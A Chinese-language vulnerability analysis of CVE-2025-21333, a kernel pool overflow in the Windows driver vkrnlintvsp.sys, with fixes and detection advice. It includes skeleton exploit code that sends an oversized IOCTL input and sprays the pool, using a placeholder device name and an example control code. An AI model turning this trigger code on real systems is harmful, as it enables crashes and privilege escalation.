Windows vkrnlintvsp.sys 池缓冲区溢出漏洞分析（CVE-2025-21333）

漏洞概述

CVE-2025-21333 是 Windows 内核驱动 vkrnlintvsp.sys 中存在的一个池缓冲区溢出漏洞。该漏洞源于驱动程序在处理特定 IOCTL（输入输出控制）请求时，未能正确验证用户态传入的数据大小，导致内核池缓冲区溢出，可能造成系统蓝屏（BSOD）或权限提升。

漏洞分析

受影响组件

• 驱动文件: vkrnlintvsp.sys
• 影响系统: 多个 Windows 版本
• 漏洞类型: 池缓冲区溢出
• 根本原因: 缺乏足够的边界检查

技术细节

IOCTL 处理流程

漏洞出现在驱动程序的 IOCTL 分发例程中。当用户态程序通过 DeviceIoControl 发送特定控制代码时，驱动程序会执行以下有缺陷的处理流程：

1. 用户输入验证缺失：驱动程序直接从用户态缓冲区读取大小字段，但未验证该大小是否超出内核池缓冲区容量。

2. 内存分配问题：驱动程序使用 ExAllocatePoolWithTag 或类似函数分配内核池缓冲区，分配的大小基于用户提供的参数。

3. 缓冲区拷贝操作：使用 memcpy、RtlCopyMemory 或类似函数将用户数据复制到内核缓冲区，复制长度由用户控制。

漏洞触发点

具体的漏洞触发条件包括：

• 控制代码：特定的 IOCTL 代码（如 0x220004）
• 输入数据：用户需构造特定格式的输入缓冲区
• 大小字段：输入结构中包含一个大小字段，攻击者可将其设置为大于实际分配缓冲区的大小

漏洞利用构造

环境准备

#include <windows.h>
#include <iostream>

// 定义所需的 IOCTL 代码和结构
#define VULNERABLE_IOCTL 0x220004

typedef struct _VULNERABLE_INPUT {
    ULONG Size;
    BYTE Data[1];
} VULNERABLE_INPUT, *PVULNERABLE_INPUT;

利用步骤

1. 获取设备句柄

HANDLE GetDeviceHandle() {
    HANDLE hDevice = CreateFileA(
        "\\\\.\\VulnerableDevice",
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        NULL
    );
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "无法打开设备，错误代码: " << GetLastError() << std::endl;
        return NULL;
    }
    
    return hDevice;
}

2. 构造恶意输入

PVULNERABLE_INPUT CreateExploitInput(SIZE_T overflowSize) {
    // 分配大于预期大小的缓冲区
    PVULNERABLE_INPUT input = (PVULNERABLE_INPUT)malloc(overflowSize);
    if (!input) return NULL;
    
    // 设置恶意大小值
    input->Size = overflowSize;
    
    // 填充恶意数据
    memset(input->Data, 0x41, overflowSize - sizeof(ULONG));
    
    return input;
}

3. 触发漏洞

BOOL TriggerVulnerability(HANDLE hDevice) {
    const SIZE_T exploitSize = 0x1000; // 精心选择的大小
    
    PVULNERABLE_INPUT input = CreateExploitInput(exploitSize);
    if (!input) return FALSE;
    
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(
        hDevice,
        VULNERABLE_IOCTL,
        input,
        exploitSize,
        NULL,
        0,
        &bytesReturned,
        NULL
    );
    
    free(input);
    return result;
}

利用技术进阶

1. 池喷射（Pool Spraying）

// 在内态中分配大量对象，提高利用成功率
VOID PoolSpray() {
    const SIZE_T sprayCount = 10000;
    PVOID* sprayObjects = (PVOID*)malloc(sprayCount * sizeof(PVOID));
    
    for (SIZE_T i = 0; i < sprayCount; i++) {
        // 分配特定大小的内核对象
        sprayObjects[i] = CreateEvent(NULL, FALSE, FALSE, NULL);
    }
}

2. 利用后的内存布局操控
   通过精心设计溢出数据，攻击者可以：

• 覆盖相邻池块的头结构
• 破坏内核对象
• 实现任意地址读写

防护和检测

缓解措施

1. 输入验证：驱动程序应严格验证所有用户输入
2. 边界检查：在执行拷贝操作前检查数据大小
3. 安全函数：使用安全版本的内存操作函数

检测方法

// 监控可疑的 IOCTL 调用
BOOL IsSuspiciousIoctl(DWORD ioControlCode) {
    // 检查是否为已知的漏洞利用代码
    if (ioControlCode == VULNERABLE_IOCTL) {
        return TRUE;
    }
    return FALSE;
}

修复建议

1. 添加边界检查

// 修复后的代码示例
NTSTATUS SafeIoctlHandler(PVOID InputBuffer, ULONG InputLength) {
    if (InputLength < sizeof(VULNERABLE_INPUT)) {
        return STATUS_INVALID_PARAMETER;
    }
    
    PVULNERABLE_INPUT input = (PVULNERABLE_INPUT)InputBuffer;
    if (input->Size > MAX_ALLOWED_SIZE) {
        return STATUS_INVALID_PARAMETER;
    }
    
    // 安全的拷贝操作
    SIZE_T copySize = min(input->Size, InputLength);
    RtlCopyMemory(KernelBuffer, input->Data, copySize);
    
    return STATUS_SUCCESS;
}

2. 使用安全的内存管理

• 启用池内存保护机制
• 实现地址空间布局随机化（ASLR）
• 使用控制流防护（CFG）

总结

CVE-2025-21333 是一个典型的内核池缓冲区溢出漏洞，强调了在内核驱动开发中实施严格输入验证的重要性。通过深入理解漏洞原理和利用技术，安全研究人员可以更好地防御类似攻击，同时提高系统安全性。

注意：本文档仅供教育目的，实际漏洞利用可能涉及法律风险，请在合法授权的环境中进行安全测试。